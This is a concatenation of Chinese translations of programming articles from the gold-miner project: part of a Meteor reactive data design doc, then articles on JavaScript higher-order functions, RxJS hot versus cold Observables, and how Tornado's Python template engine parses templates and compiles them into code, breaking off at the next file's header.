自动依赖失效 就像读取数据一样,在简单的情况下我们可以从 mutation 自动发送失效信息。举例来说,如果你在 mutation 解析器中执行如下 SQL 更新查询: todoLists.update('name', 'The new name for my todo list').where('id', 1); 我们需要使得下面的依赖键失效: 'todoLists:1' 你可以看到,这对应了我们在读取这个记录时,自动记录的依赖,所以合适的请求将会重新运行。 ### 手动依赖失效 有时你希望手动发送失效信息。举例来说,在上面通知的例子中,我们希望在添加通知时手动失效通知总数: notifications.insert(...); context.invalidateDependency(notificationDepKeyForUser(userId)); 我们希望将来可以让程序自动处理越来越多的失效信息,但是为更复杂的情况预留一条后路让程序员进行完全的控制总是好的。 ![](http://ww1.sinaimg.cn/large/9b5c8bd8jw1f0zsrhktvvj21kw0s845z.jpg) 你可以通过这个图表来了解失效信息如何从 mutation 传递到相关的客户端中,客户端之后会在需要的时候重新抓取相关数据。 ### 向外部服务写入数据 如果你的后端代码需要向外部源写入数据,你将无法使用自动失效。这意味着如果你想要你 UI 中的数据被更新,你需要做一些额外的事情来提供响应性。最简单的方式就是让进行外部数据写入的服务将失效信息直接发送给失效服务器。 另一种能使外部更新具有响应性的方法就是设置一个实时的查询执行系统,并通过监视数据库的方法来使依赖失效。举个例子,Meteor 的 Livequery 可以设置成监视 MongoDB,并且在 `tofoLists.find({ id: 1})` 的结果发生变化时,使 `todoLists:1` 失效。 系统的初始版本并不会拥有一个內建的实时查询支持,但是我们希望系统各部分中那些设计巧妙的 API 可以使这些组件很容易被集成进去。 最后,如果你觉得适用于你的应用的话,你甚至可以在不使用任何依赖的情况下,直接通过客户端轮询正确的数据。对于一些应用程序来说,加载数据本身并没有很大的开销。举个例子,如果你有一个5人使用的内部控制面板,在这种情况下实现的简单性要远比性能重要。 ## 数据驱动 为了让这个系统更便于使用,我们需要为流行的数据源提供一些设计良好的驱动。如果你不需要响应性的话,连接到一个随意的数据源是非常简单的,你可以直接使用 NPM 中的任何数据载入包或者是写一些简单的函数来获取数据。如果要添加响应性的话,你可以使用手动的依赖记录和依赖过期。 然而,我们希望除了 Meteor 官方维护的 SQL,MongoDB 和 REST APIs 驱动之外,社区可以编写出更友好的数据驱动。 一个顶尖的开发者友好的后端数据驱动需要: 1. 从数据源读取对象并且为简单查询自动记录依赖。 2. 将对象写入数据源,并且在大多数情况下自动发送失效信息。 3. 拥有基础的缓存以优化性能。 虽然说一个理想的驱动将能够自动为所有查询发送准确的依赖和失效信息,但是这对于一个任意的数据储存来说是不现实的。在实际情况下,驱动将会回落到一个更大范围的依赖和失效信息,并且一些工具可以帮助开发者寻找这些过期信息可以被优化的地方。然后开发者就可以根据需要重新构造他们的查询或是手动发送过期信息。 ## 应用性能监控和优化 我们在 Meteor 的系统中使用有状态的实时查询来实现响应性和订阅特性时发现,这会使得程序变得难以调试和分析。当你在调试你的程序或是试图找出性能问题时,你需要在你的服务器上重现这个问题出现的情形。如果你的服务器上有大量的状态,并且这些状态依赖于数据库当时的情况,包括你在执行哪些查询,以及哪些特定的客户端集合正在查看这些数据,这会使得你非常难以找出造成错误的原因。 这个新的系统就是设计来避免这个问题的,并且该系统的实现是从底层开始支持用于开发和生产的性能分析。我们为那些希望做性能分析的开发者设计了两条路径: 1. **数据加载** 页面上的一系列 UI 组件应该如何被翻译成 GraphQL 查询,以及这些查询在一系列后端数据源上如何运作。这个问题对于任何基于 GraphQL 的系统来说都很常见,但是这个问题很难被单一工具解决,因为这天生将客户端和服务器绑在了一起。 2. **Mutations.** 在一个响应式系统中,一个 mutation 会造成一些客户端需要重新获取数据。所以跟踪 mutation 的行为是非常重要的:哪些行为从数据库加载了数据,哪些依赖过期了,以及在其他客户端上发生了哪些重取。这可以帮助你在保持你的用户拥有良好用户体验的前提下,优化你的 UI 结构、数据加载样式、响应性、以及 mutation 来减少你的服务器负担。 在你从上述两条路径分析了你的应用之后,你应该可以清楚地知道你应该通过小心地进行手动失效以及禁用响应性来优化你的程序,这会使得你能够在修改尽可能少的应用代码的前提下,极大地优化性能。 ## 执行计划 这张图表描述了我们认为一个完整系统需要构建的所有东西: ![](http://ww2.sinaimg.cn/large/9b5c8bd8jw1f1amo4kr54j21kw0ul7gm.jpg) 每一个组件的独立设计将会在之后的文章中讲到,举例来说,失效服务器是如何工作的?这篇文档的主要目的是概述这些组件如何一起工作。我们希望系统中的所有组件都是清晰的,并且拥有完善文档的 API,这样你就能在需要的时候为任意部分编写你自己的实现。 这将会是一个很大的工作量,但是多亏 Relay 项目,大多数工作都已经完成了,并且有些任务可以在整个竞购更清晰之后由社区贡献,比如说数据库驱动。 ================================================ FILE: TODO/higher-order-functions-composing-software.md ================================================ > * 原文地址:[Higher Order Functions (Composing Software)(part 4)](https://medium.com/javascript-scene/higher-order-functions-composing-software-5365cf2cbe99) > * 原文作者:[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[reid3290](https://github.com/reid3290) > * 校对者:[Aladdin-ADD](https://github.com/Aladdin-ADD)、[avocadowang](https://github.com/avocadowang) # [第四篇] 高阶函数(软件编写) Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0)(译注:该图是用 PS 将烟雾处理成方块状后得到的效果,参见 [flickr](https://www.flickr.com/photos/68397968@N07/11432696204)。) > 注意:这是“软件编写”系列文章的第四部分,该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件(compositional software)技术(译注:关于软件可组合性的概念,参见维基百科 [Composability](https://en.wikipedia.org/wiki/Composability))。后续还有更多精彩内容,敬请期待! > [< 上一篇](https://github.com/xitu/gold-miner/blob/master/TODO/a-functional-programmers-introduction-to-javascript-composing-software.md) | [<< 第一篇](https://github.com/xitu/gold-miner/blob/master/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md) | [下一篇 >](https://github.com/xitu/gold-miner/blob/master/TODO/reduce-composing-software.md) **高阶函数**是一种接收一个函数作为输入或输出一个函数的函数(译注:参见维基百科[高阶函数](https://zh.wikipedia.org/wiki/%E9%AB%98%E9%98%B6%E5%87%BD%E6%95%B0)),这是和一阶函数截然不同的。 之前我们看到的 `.map()` 和 `.filter()` 都是高阶函数 —— 它们都接受一个函数作为参数, 先来看个一阶函数的例子,该函数会将单词数组中 4 个字母的单词过滤掉: ``` const censor = words => { const filtered = []; for (let i = 0, { length } = words; i < length; i++) { const word = words[i]; if (word.length !== 4) filtered.push(word); } return filtered; }; censor(['oops', 'gasp', 'shout', 'sun']); // [ 'shout', 'sun' ] ``` 如果又要选择出所有以 's' 开头的单词呢?可以再定义一个函数: ``` const startsWithS = words => { const filtered = []; for (let i = 0, { length } = words; i < length; i++) { const word = words[i]; if (word.startsWith('s')) filtered.push(word); } return filtered; }; startsWithS(['oops', 'gasp', 'shout', 'sun']); // [ 'shout', 'sun' ] ``` 显然可以看出这里面有很多重复的代码,这两个函数的主体是相同的 —— 都是遍历一个数组并根据给定的条件进行过滤。这便形成了一种特定的模式,可以从中抽象出更为通用的解决方案。 不难看出, “遍历”和“过滤”都是亟待抽象出来的,以便分享和复用到其他所有类似的函数中去。毕竟,从数组中选取某些特定元素是很常见的需求。 幸运的是,函数是 JavaScript 中的一等公民,就像数字、字符串和对象一样,函数可以: - 像变量一样赋值给其他变量 - 作为对象的属性值 - 作为参数进行传递 - 作为函数的返回值 函数基本上可以像其他任何数据类型一样被使用,这点使得“抽象”容易了许多。例如,可以定义一种函数,将遍历数组并累计出一个返回值的过程抽象出来,该函数接收一个函数作为参数来决定具体的**累计**过程,不妨将此函数称为 **reducer**: ``` const reduce = (reducer, initial, arr) => { // 共享的 let acc = initial; for (let i = 0, length = arr.length; i < length; i++) { // 独特的 acc = reducer(acc, arr[i]); // 又是共享的 } return acc; }; reduce((acc, curr) => acc + curr, 0, [1,2,3]); // 6 ``` 该 `reduce()` 接受 3 个参数:一个 reducer 函数、一个累计的初始值和一个用于遍历的数组。对数组中的每个元素都会调用 reducer,传入累计器和当前数组元素,返回值又会赋给累计器。对数组中的所有元素都执行过 reducer 之后,返回最终的累计结果。 在用例中,调用 `reduce` 并传给它 3 个参数:`reducer` 函数、初始值 0 以及需要遍历的数组。其中 `reducer` 函数以累计器和当前数组元素为参数,返回累计后的结果。 如此将遍历和累计的过程抽象出来之后,便可实现更为通用的 `filter()` 函数: ``` const filter = ( fn, arr ) => reduce((acc, curr) => fn(curr) ? acc.concat([curr]) : acc, [], arr ); ``` 在此 `filter()` 函数中,除了以参数形式传进来的 `fn()` 函数以外,所有代码都是可复用的。其中 `fn()` 参数被称为**断言(predicate)** —— 返回一个布尔值的函数。 将当前值传给 `fn()`,如果 `fn(curr)` 返回 `true`,则将 `curr` 添加到结果数组中并返回之;否则,直接返回当前数组。 现在便可借助 `filter()` 函数来实现过滤 4 字母单词的 `censor()` 函数: ``` const censor = words => filter( word => word.length !== 4, words ); ``` 喔!将所有公共代码抽象出来之后,`censor()` 函数便十分简洁了。 `startsWithS()` 也是如此: ``` const startsWithS = words => filter( word => word.startsWith('s'), words ); ``` 你若稍加留意便会发现 JavaScript 其实已经为我们做了这些抽象,即 `Array.prototype` 的相关方法,例如 `.reduce()`、`.filter()`、`.map()` 等等。 高阶函数也常常被用于对不同数据类型的操作进行抽象。例如,`.filter()` 函数不一定非得作用于字符串数组。只需传入一个能够处理不同数据类型的函数,`.filter()` 便能过滤数字了。还记得 `highpass` 的例子吗? ``` const highpass = cutoff => n => n >= cutoff; const gt3 = highpass(3); [1, 2, 3, 4].filter(gt3); // [3, 4]; ``` 换言之,高阶函数可以用来实现函数的多态性。如你所见,相对于一阶函数而言,高阶函数的复用性和通用性更好。一般来讲,在实际编码中会组合使用高阶函数和一些非常简单的一阶函数。 [**再续 “Reduce” >**](https://github.com/xitu/gold-miner/blob/master/TODO/reduce-composing-software.md) ### 接下来 ### 想学习更多 JavaScript 函数式编程吗? [跟着 Eric Elliott 学 Javacript](http://ericelliottjs.com/product/lifetime-access-pass/),机不可失时不再来! [](https://ericelliottjs.com/product/lifetime-access-pass/) **Eric Elliott** 是 [**“编写 JavaScript 应用”**](http://pjabook.com) (O’Reilly) 以及 [**“跟着 Eric Elliott 学 Javascript”**](http://ericelliottjs.com/product/lifetime-access-pass/) 两书的作者。他为许多公司和组织作过贡献,例如 **Adobe Systems**、**Zumba Fitness**、**The Wall Street Journal**、**ESPN** 和 **BBC**等 , 也是很多机构的顶级艺术家,包括但不限于 **Usher**、**Frank Ocean** 以及 **Metallica**。 大多数时间,他都在 San Francisco Bay Area,同这世上最美丽的女子在一起。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/hot-vs-cold-observables.md ================================================ > * 原文地址:[Hot vs Cold Observables](https://medium.com/@benlesh/hot-vs-cold-observables-f8094ed53339) > * 原文作者:[Ben Lesh](https://medium.com/@benlesh) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[hikerpig](https://github.com/hikerpig) > * 校对者:[Tina92](https://github.com/Tina92) --- # Observable 之冷和热 ## 简单来说:如果不想重复创建生产者(producer),你需要使用热 Observable #### 冷:Observable 自行创建生产者 // COLD var cold = new Observable((observer) => { var producer = new Producer(); // have observer listen to producer here }); #### 热:Observable 使用已存在的生产者 // HOT var producer = new Producer(); var hot = new Observable((observer) => { // have observer listen to producer here }); ### 深入解析 我上篇文章[通过自行实现学习 Observable](https://medium.com/@benlesh/learning-observable-by-building-observable-d5da57405d87) 阐述了 Observable 是种函数。虽旨在揭开 Observable 的神秘外衣,但并没有触及其最令人困惑的部分:“冷”和“热”的概念。 #### Observable 只是函数! Observable 只是一个将观察者 (Observer) 连接到生产者的函数。意味着,它们并不需要自行创建生产者。只需要让一个观察者订阅生产者的消息,并提供一种取消监听的方式。这种订阅可通过像函数一样“调用” Observable,给它传递一个观察者。 #### 什么是“生产者”? 生产者是 Observable 的数据源。可以是一个 websocket 连接、DOM 事件、迭代器或一个遍历某数组的操作。可以是你用来获取并向 `observer.next(value)` 传递值的任何东西。。 ### 冷 Observable:在内部创建生产者 一个“冷”的 Observable 的生产者**创建和激活**发生在订阅期。就是说若将 observable 比作函数,那么生产者是在“调用函数”时创建和激活的。 1. 创建生产者 2. 激活生产者 3. 开始监听生产者 4. 单播 下面例子是“冷”的,因为 WebSocket 连接是在订阅回调“内部”被创建和监听的,而订阅回调函数只有在订阅 Observable 时才会被执行。 const source = new Observable((observer) => { const socket = new WebSocket('ws://someurl'); socket.addEventListener('message', (e) => observer.next(e)); return () => socket.close(); }); 上述`source`的所有订阅者都会有一个自己的 WebSocket,取消订阅时用`close()`将其关闭。因此该数据源是真正的单播,因为其生产者只向一个观察者发送值。[此 JSBin 例子说明了此概念](http://jsbin.com/wabuguy/1/edit?js,output)。 ### 热 Observable:在外部创建生产者 热 Observable 的生产者在订阅回调函数外被创建或激活(备注1)。 1. 共享一个生产者的引用 2. 监听生产者 3. 组播(multicast)(备注2) 若我们改变一下之前的例子,把 WebSocket 的创建移到 Observable 外,就是个“热” Observable: const socket = new WebSocket('ws://someurl'); const source = new Observable((observer) => { socket.addEventListener('message', (e) => observer.next(e)); }); `source`的所有订阅者共享一个 WebSocket 实例,该 socket 的消息会组播给所有订阅者。但这引入一个小问题:我们没法用 observable 承载销毁该 socket 的逻辑。无论出错、完成,还是取消订阅,都不会关闭该连接。我们做的只是把“冷” Observable 变“热”[此 JSBin 例子说明了此概念](http://jsbin.com/godawic/edit?js,output)。 #### 为什么需要热 Observable? 在第一个冷 Observable 的例子里你可以看见,一直保有所有的冷 Observable 实例可能会有问题。首先,如果你需要订阅这个 observable 多次,而这个 observable 会创建类似于 WebSocket 这样的,占用如网络连接般稀缺资源的实例,你肯定不希望创建多个连接。而实际上,我们很容易忽略订阅多次的事实。例如当你需要过滤出 socket 消息值的奇/偶数序列,在此场景下你会创建两个订阅: source.filter(x => x % 2 === 0) .subscribe(x => console.log('even', x)); source.filter(x => x % 2 === 1) .subscribe(x => console.log('odd', x)); ### Rx Subjects 在我们把 Observable 从冷转热之前,需要介绍一种新类型:Rx Subject,它有以下特性: 1. 它是一个 Observable, 包含了 Observable 的所有操作方法。 2. 它是一个 Observer, 通过 duck-typing 实现了一些长得和 Observer 相似的接口。当被像 Observable 订阅时,会发出你使用类似 Observer 的 `next` 方法传入的值。 3. 支持组播。通过 `subscribe()` 传入的所有观察者会被加入一个内部的观察者列表里保存。 4. 结束状态明确。在取消订阅、完成或出错之后就无法再被使用。 5. 可以对自己传值。补充下第 2 条,使用 `next` 对其传值,会触发它的 Observable 相关回调。 Rx Subject 的名字得于第 3 条特性,“Subject” 在 Gang of Four(译者注:经典《设计模式》的几位作者)的观察者模式中,是实现了 `addObserver` 方法的类。在我们的例子中,`addObserver` 就是 `subscribe`。[一个展示 Rx Subject 行为的 JSBin 例子](http://jsbin.com/muziva/1/edit?js,output)。 ### 把 Observable 从冷变热 有了 Rx Subject 的加持,我们可以用上一点函数式编程让 Observable 从冷转热: function makeHot(cold) { const subject = new Subject(); cold.subscribe(subject); return new Observable((observer) => subject.subscribe(observer)); } `makeHot` 函数接受一个冷的 Observable `cold`,创建一个 `subject` 订阅 `cold` 的消息,最后该函数返回一个热 Observable, 它的生产者为 `subject`。[一个 JSBin 示例](http://jsbin.com/ketodu/1/edit?js,output) 不过还有一个小问题,我们没有直接订阅数据源,如果想取消订阅,该怎么做呢?可以用引用计数解决: function makeHotRefCounted(cold) { const subject = new Subject(); const mainSub = cold.subscribe(subject); let refs = 0; return new Observable((observer) => { refs++; let sub = subject.subscribe(observer); return () => { refs--; if (refs === 0) mainSub.unsubscribe(); sub.unsubscribe(); }; }); } 现在我们有一个热 Observable,且当其所有订阅取消了,用来计数的 `refs` 变为 0 时,便可以取消对原先冷 Observable 的订阅。[一个 JSBin 例子](http://jsbin.com/lubata/1/edit?js,output)。 ### 在 RxJS 里使用 `publish()` 或 `share()` 你也许不该使用类似于上面 `makeHot` 这样的函数,而应该使用 `publish()` 或 `share()` 这样的函数 Observable 转热的途径,在 Rx 里有高效简洁的方式。为说明使用多种 Rx 操作符(译者注:operator,之后都作此翻译)来做这件事情,能专门写一篇文章,不过这不是本文的目的。真正的目的在于加强对“冷”“热”之分的理解。 在 RxJS 5 里,`share()` 操作符创建一个有引用计数的热 Observable,且可以在失败时重试,或在成功时重复执行。因为 Subject 在出错、完成或取消订阅后便不能再被重用,`share()` 操作符会更新重建已结束的 Subject,从而使得返回的 Observable 能够被再次订阅。 [一个在 RxJS 5 里使用 `share()` 创建热数据源的 JSBin 例子,也展示了重试的方法](http://jsbin.com/mexuma/1/edit?js,output) ### “温” Observable 看完如上所述,能知道 Observable 虽然 “只是函数”,却能有冷热之分。它还能监听两个生产者?一个由它创建,一个由它关闭?有点像不良的小伎俩,非其不用的场景并不多。例如多路 socket 数据源,共享一个 socket 连接,但分别有自己的数据订阅和过滤机制。 ### 冷和热都只和生产者有关 如果在 Observable 内操作一个共享的生产者,是“热”的。而在 Observable 内部创建生产者,是“冷”的。那假如你二者皆有,是什么?我猜它是“温”的。 #### 备注 1. 说生产者在订阅回调内部被“激活”,而不是在之后某合适时机被“创建”,可能有点奇怪,不过通过代理(proxy),的确是可以的。通常“热” Observable 的生产者在订阅回调外部被创建和激活。 2. 热 Observable 通常是组播的,虽说它也许对应的是一个只支持单个监听回调的生产者。在此处说它是“组播”的,可能不是完全准确。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/how-a-template-engine-works.md ================================================ > * 原文地址:[How a template engine works](https://fengsp.github.io/blog/2016/8/how-a-template-engine-works/) * 原文作者:[Shipeng Feng](https://twitter.com/_fengsp) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者: [Zheaoli](https://github.com/Zheaoli) * 校对者:[Kulbear](https://github.com/Kulbear), [hpoenixf](https://github.com/hpoenixf) # 详解 Python 模板引擎工作机制 我已经使用各种模版引擎很久了,现在终于有时间研究一下模版引擎到底是如何工作的了。 ### 简介 简单的说,模版引擎是一种可以用来完成涉及大量文本数据的编程任务的工具。一般而言,我们经常在一个 **web** 应用中利用模板引擎来生成 **HTML** 。在 **Python** 中,当你想使用模板引擎的时候,你会发现你有不少的选择,比如 [jinja](http://jinja.pocoo.org/) 或者是 [mako](http://www.makotemplates.org/) 。从现在开始,我们将利用 [**tornado**](https://github.com/tornadoweb/tornado) 中的模板引擎来讲解模板引擎的工作原理,在 **tornado** 中,自带的模板引擎相对的简单,能方便我们去深入的剖析其原理。 在我们研究(模版引擎)的实现原理之前,先让我们来看一个简单的接口调用例子。 ~~~Python from tornado import template PAGE_HTML = """ Hello, {{ username }}!
        {% for job in job_list %}
      • {{ job }}
      • {% end %}
      """ t = template.Template(PAGE_HTML) print t.generate(username='John', job_list=['engineer']) ~~~ 这段代码里的 `username` 将会动态的生成,`job` 列表也是如此。你可以通过安装 `tornado` 并运行这段代码来看看最后的效果。 ### 详解 如果你仔细观察 `PAGE_HTML` ,你会发现这段模板字符串由两个部分组成,一部分是固定的字符串,另一部分是将会动态生成的内容。我们将会用特殊的符号来标注动态生成的部分。在整个工作流程中,模板引擎需要正确输出固定的字符串,同时需要将正确的结果替换我们所标注的需要动态生成的字符串。 使用模板引擎最简单的方式就是像下面这样用一行 **python** 代码就可以解决: ~~~Python deftemplate_engine(template_string, **context):# process herereturn result_string ~~~ 在整个工作过程中,模板引擎将会分为如下两个阶段对我们的字符串进行操作: * 解析 * 渲染 在解析阶段,我们将我们准备好的字符串进行解析,然后格式化成可被渲染的格式,其可能是能被 `rendered.Consider` 所解析的字符串,解析器可能是一个语言的解释器或是一个语言的编译器。如果解析器是一种解释器的话,在解析过程中将会生成一种特殊的数据结构来存放数据,然后渲染器会遍历整个数据结构来进行渲染。例如 **Django** 的模板引擎中的解析器就是一种基于解释器的工具。除此之外,解析器可能会生成一些可执行代码,渲染器将只会执行这些代码,然后生成对应的结果。在 **Jinja2** , **Mako** ,**Tornado** 中,模板引擎都在使用编译器来作为解析工具。 ### 编译 如同上面所说的一样,我们需要解析我们所编写的模板字符串,然后 **tornado** 中的模板解析器将会将我们所编写的模板字符串编译成可执行的 **Python** 代码。我们的解析工具负责生成Python代码,而仅仅由单个Python函数构成: ~~~Python def parse_template(template_string): # compilation return python_source_code ~~~ 在我们分析 `parse_template` 的代码之前,让我们先看个模板字符串的例子: ~~~html Hello, {{ username }}!
        {% for job in jobs %}
      • {{ job.name }}
      • {% end %}
      ~~~ 模板引擎里的 `parse_template` 函数将会将上面这个字符串编译成 **Python** 源码,最简单的实现方式如下: ~~~Python def _execute(): _buffer = [] _buffer.append('\n\n Hello, ') _tmp = username _buffer.append(str(_tmp)) _buffer.append('!\n
        \n ') for job in jobs: _buffer.append('\n
      • ') _tmp = job.name _buffer.append(str(_tmp)) _buffer.append('
      • \n ') _buffer.append('\n
      \n\n') return''.join(_buffer) ~~~ 现在我们在 `_execute` 函数里处理我们的模版。这个函数将可以使用全局命名空间里的所有有效变量。这个函数将创建一个包含多个 **string** 的列表并将他们合并后返回。显然找到一个局部变量比找一个全局变量要快多了。同时,我们对于其余代码的优化也在这个阶段完成,比如: ~~~Python _buffer.append('hello') _append_buffer = _buffer.append # faster for repeated use _append_buffer('hello') ~~~ 在 `{{ ... }}` 中的表达式将会被提取出来,然后添加进 `string` 列表中。在 `tornado` 模板模块中,在 `{{ ... }}` 所编写的表达式没有任何的限制,**if** 和 **for** 代码块都可以准确地转换成为 **Python** 代码。 ### 让我们来看看具体的代码实现吧 让我们来看看模板引擎的具体实现吧。我们在 `Template` 类中编声明核心变量,当我们创建一个 `Template` 对象后,我们便可以编译我们所编写的模板字符串,随后我们便可以根据编译的结果来对其进行渲染。我们只需要对我们所编写的模板字符串进行一次编译,然后我们可以缓存我们的编译结果,下面是 `Template` 类的简化版本的构造器: ~~~Python class Template(object): def__init__(self, template_string): self.code = parse_template(template_string) self.compiled = compile(self.code, '', 'exec') ~~~ 上段代码里的 `compile` 函数将会将字符串编译成为可执行代码,我们可以稍后调用 `exec` 函数来执行我们生成的代码。现在,让我们来看看 `parse_template` 函数的实现,首先,我们需要将我们所编写的模板字符串转化成一个个独立的节点,为我们后面生成 **Python** 代码做好准备。在这过程中,我们需要一个 `_parse` 函数,我们先把它放在一边,等下在回来看看这个函数。现,我们需要编写一些辅助函数来帮助我们从模板文件里读取数据。现在让我们来看看 `_TemplateReader` 这个类,它用于从我们自定义的模板中读取数据: ~~~Python class _TemplateReader(object): def __init__(self, text): self.text = text self.pos = 0 def find(self, needle, start=0, end=None): pos = self.pos start += pos if end is None: index = self.text.find(needle, start) else: end += pos index = self.text.find(needle, start, end) if index != -1: index -= pos return index def consume(self, count=None): if count is None: count = len(self.text) - self.pos newpos = self.pos + count s = self.text[self.pos:newpos] self.pos = newpos return s def remaining(self): return len(self.text) - self.pos def __len__(self): return self.remaining() def __getitem__(self, key): if key < 0: return self.text[key] else: return self.text[self.pos + key] def __str__(self): return self.text[self.pos:] ~~~ 为了生成 **Python** 代码,我们需要去看看 `_CodeWriter` 这个类的源码,这个类可以编写代码行和管理缩进,同时它也是一个 **Python** 上下文管理器: ~~~Python class _CodeWriter(object): def __init__(self): self.buffer = cStringIO.StringIO() self._indent = 0 def indent(self): return self def indent_size(self): return self._indent def __enter__(self): self._indent += 1 return self def __exit__(self, *args): self._indent -= 1 def write_line(self, line, indent=None): if indent == None: indent = self._indent for i in xrange(indent): self.buffer.write(" ") print self.buffer, line def __str__(self): return self.buffer.getvalue() ~~~ 在 `parse_template` 函数里,我们先要创建一个 `_TemplateReader` 对象: ~~~Python def parse_template(template_string): reader = _TemplateReader(template_string) file_node = _File(_parse(reader)) writer = _CodeWriter() file_node.generate(writer) return str(writer) ~~~ 然后,我们将我们所创建的 `_TemplateReader` 对象传入 `_parse` 函数中以便生成节点列表。这里生成的所有节点都是模板文件的子节点。接着,我们创建一个 `_CodeWriter` 对象,然后 `file_node` 对象会把生成的 **Python** 代码写入 `_CodeWriter` 对象中。然后我们返回一系列动态生成的 **Python** 代码。`_Node` 类将会用一种特殊的方法去生成 **Python** 源码。这个先放着,我们等下再绕回来看。 现在先让我们回头看看前面所说的 `_parse` 函数: ~~~Python def _parse(reader, in_block=None): body = _ChunkList([]) while True: # Find next template directive curly = 0 while True: curly = reader.find("{", curly) if curly == -1 or curly + 1 == reader.remaining(): # EOF if in_block: raise ParseError("Missing {%% end %%} block for %s" % in_block) body.chunks.append(_Text(reader.consume())) return body # If the first curly brace is not the start of a special token, # start searching from the character after it if reader[curly + 1] not in ("{", "%"): curly += 1 continue # When there are more than 2 curlies in a row, use the # innermost ones. This is useful when generating languages # like latex where curlies are also meaningful if (curly + 2 < reader.remaining() and reader[curly + 1] == '{' and reader[curly + 2] == '{'): curly += 1 continue break ~~~ 我们将在文件中无限循环下去来查找我们所规定的特殊标记符号。当我们到达文件的末尾处时,我们将文本节点添加至列表中然后退出循环。 ~~~Python # Append any text before the special token if curly > 0: body.chunks.append(_Text(reader.consume(curly))) ~~~ 在我们对特殊标记的代码块进行处理之前,我们先将静态的部分添加至节点列表中。 ~~~Python start_brace = reader.consume(2) ~~~ 在遇到 `{{` 或者 `{%` 的符号时,我们便开始着手处理相应的表达式: ~~~Python # Expression if start_brace == "{{": end = reader.find("}}") if end == -1 or reader.find("\n", 0, end) != -1: raise ParseError("Missing end expression }}") contents = reader.consume(end).strip() reader.consume(2) if not contents: raise ParseError("Empty expression") body.chunks.append(_Expression(contents)) continue ~~~ 当遇到 `{{` 之时,便意味着后面会跟随一个表达式,我们只需要将表达式提取出来,并添加至 `_Expression` 节点列表中。 ~~~Python # Block assert start_brace == "{%", start_brace end = reader.find("%}") if end == -1 or reader.find("\n", 0, end) != -1: raise ParseError("Missing end block %}") contents = reader.consume(end).strip() reader.consume(2) if not contents: raise ParseError("Empty block tag ({% %})") operator, space, suffix = contents.partition(" ") # End tag if operator == "end": if not in_block: raise ParseError("Extra {% end %} block") return body elif operator in ("try", "if", "for", "while"): # parse inner body recursively block_body = _parse(reader, operator) block = _ControlBlock(contents, block_body) body.chunks.append(block) continue else: raise ParseError("unknown operator: %r" % operator) ~~~ 在遇到模板里的代码块的时候,我们需要通过递归的方式将代码块提取出来,并添加至 `_ControlBlock` 节点列表中。当遇到 `{% end %}` 时,意味着这个代码块的结束,这个时候我们可以跳出相对应的函数了。 好了现在,让我们看看之前所提到的 `_Node` 节点,别慌,这其实是很简单的: ~~~Python class _Node(object): def generate(self, writer): raise NotImplementedError() class _ChunkList(_Node): def __init__(self, chunks): self.chunks = chunks def generate(self, writer): for chunk in self.chunks: chunk.generate(writer) `_ChunkList` 只是一个节点列表而已。 ~~~Python class _File(_Node): def __init__(self, body): self.body = body def generate(self, writer): writer.write_line("def _execute():") with writer.indent(): writer.write_line("_buffer = []") self.body.generate(writer) writer.write_line("return ''.join(_buffer)") ~~~ 在 `_File` 中,它会将 `_execute` 函数写入 `CodeWriter`。 ~~~Python class _Expression(_Node): def __init__(self, expression): self.expression = expression def generate(self, writer): writer.write_line("_tmp = %s" % self.expression) writer.write_line("_buffer.append(str(_tmp))") class _Text(_Node): def __init__(self, value): self.value = value def generate(self, writer): value = self.value if value: writer.write_line('_buffer.append(%r)' % value) ~~~ `_Text` 和 `_Expression` 节点的实现也非常简单,它们只是将我们从模板里获取的数据添加进列表中。 ~~~Python class _ControlBlock(_Node): def __init__(self, statement, body=None): self.statement = statement self.body = body def generate(self, writer): writer.write_line("%s:" % self.statement) with writer.indent(): self.body.generate(writer) ~~~ 在 `_ControlBlock` 中,我们需要将我们获取的代码块按 **Python** 语法进行格式化。 现在让我们看看之前所提到的模板引擎的渲染部分,我们通过在 `Template` 对象中实现 `generate` 方法来调用从模板中解析出来的 `Python` 代码。 ~~~Python def generate(self, **kwargs): namespace = {} namespace.update(kwargs) exec self.compiled in namespace execute = namespace["_execute"] return execute() ~~~ 在给予的全局命名空间中, **exec** 函数将会执行编译过的代码对象。然后我们就可以在全局中调用 **_execute** 函数了。 ### 最后 经过上面的一系列操作,我们便可以尽情的编译我们的模板并得到相对应的结果了。其实在 **tornado** 模板引擎中,还有很多特性是我们没有讨论到的,不过,我们已经了解了其最基础的工作机制,你可以在此基础上去研究你所感兴趣的部分,比如: - 模板继承 - 模板包含 - 其余的一些逻辑控制语句,比如 `else` , `elfi` , `try` 等等 - 空白控制 - 特殊字符转译 - 更多没讲到的模板指令(译者注:请参考 **tornado** [官方文档](http://www.tornadoweb.org/en/stable/) ================================================ FILE: TODO/how-apple.md ================================================ > * 原文链接 : [How Apple Is Giving Design A Bad Name](http://www.fastcodesign.com/3053406/how-apple-is-giving-design-a-bad-name) * 原文作者 : [Don Norman 